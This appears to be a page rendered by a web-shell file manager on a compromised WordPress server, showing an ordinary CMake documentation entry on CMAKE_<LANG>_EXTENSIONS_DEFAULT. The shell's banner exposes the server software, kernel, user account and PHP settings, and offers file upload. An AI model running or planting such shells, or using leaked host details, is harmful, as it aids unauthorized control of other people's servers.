HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
$ pwd: /usr/share/cmake-3.28/Help/variable/
Upload Files
File: //usr/share/cmake-3.28/Help/variable/CMAKE_LANG_EXTENSIONS_DEFAULT.rst
CMAKE_<LANG>_EXTENSIONS_DEFAULT
-------------------------------

.. versionadded:: 3.22

Compiler's default extensions mode. Used as the default for the
:prop_tgt:`<LANG>_EXTENSIONS` target property when
:variable:`CMAKE_<LANG>_EXTENSIONS` is not set (see :policy:`CMP0128`).

This variable is read-only.  Modifying it is undefined behavior.
@ Telegram